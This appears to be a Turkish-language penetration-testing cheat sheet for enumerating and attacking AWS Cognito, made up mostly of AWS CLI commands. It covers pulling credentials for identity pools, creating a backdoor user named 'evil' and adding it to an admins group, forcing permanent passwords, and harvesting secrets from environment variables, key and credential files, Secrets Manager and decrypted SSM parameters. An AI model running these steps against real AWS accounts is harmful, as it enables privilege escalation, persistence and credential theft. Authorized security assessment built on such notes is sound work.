Skip to content

Cognito User Pools

AWS enum

Cognito User Pools — AWS ortamında kaynak envanteri ve izin yüzeyi keşfi notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Çağıran kimliği ve etkili izinleri netleştir.

  2. Servise özel kaynak envanteri çıkar (liste + describe).

  3. Secret, trust policy ve yazma yüzeyi adaylarını işaretle.

  4. Bir sonraki privesc / veri / RCE hipotezini kilitle.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
aws sts get-caller-identity
Terminal window
aws configure list
Terminal window
echo $AWS_ACCESS_KEY_ID $AWS_SESSION_TOKEN | sed 's/./*/g'

Cognito User Pools için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
aws cognito-identity list-identity-pools --max-results 20
Terminal window
aws cognito-identity get-id --identity-pool-id POOL
Terminal window
aws cognito-identity get-credentials-for-identity --identity-id ID
Terminal window
aws cognito-idp list-user-pools --max-results 20
Terminal window
aws cognito-idp describe-user-pool --user-pool-id POOL
Terminal window
aws cognito-idp list-users --user-pool-id POOL
Terminal window
aws cognito-idp admin-create-user --user-pool-id POOL --username evil --temporary-password 'Tmp1!'
Terminal window
aws cognito-idp admin-add-user-to-group --user-pool-id POOL --username evil --group-name admins
Terminal window
aws cognito-idp admin-set-user-password --user-pool-id POOL --username U --password 'P@ss' --permanent

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
aws secretsmanager list-secrets
Terminal window
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt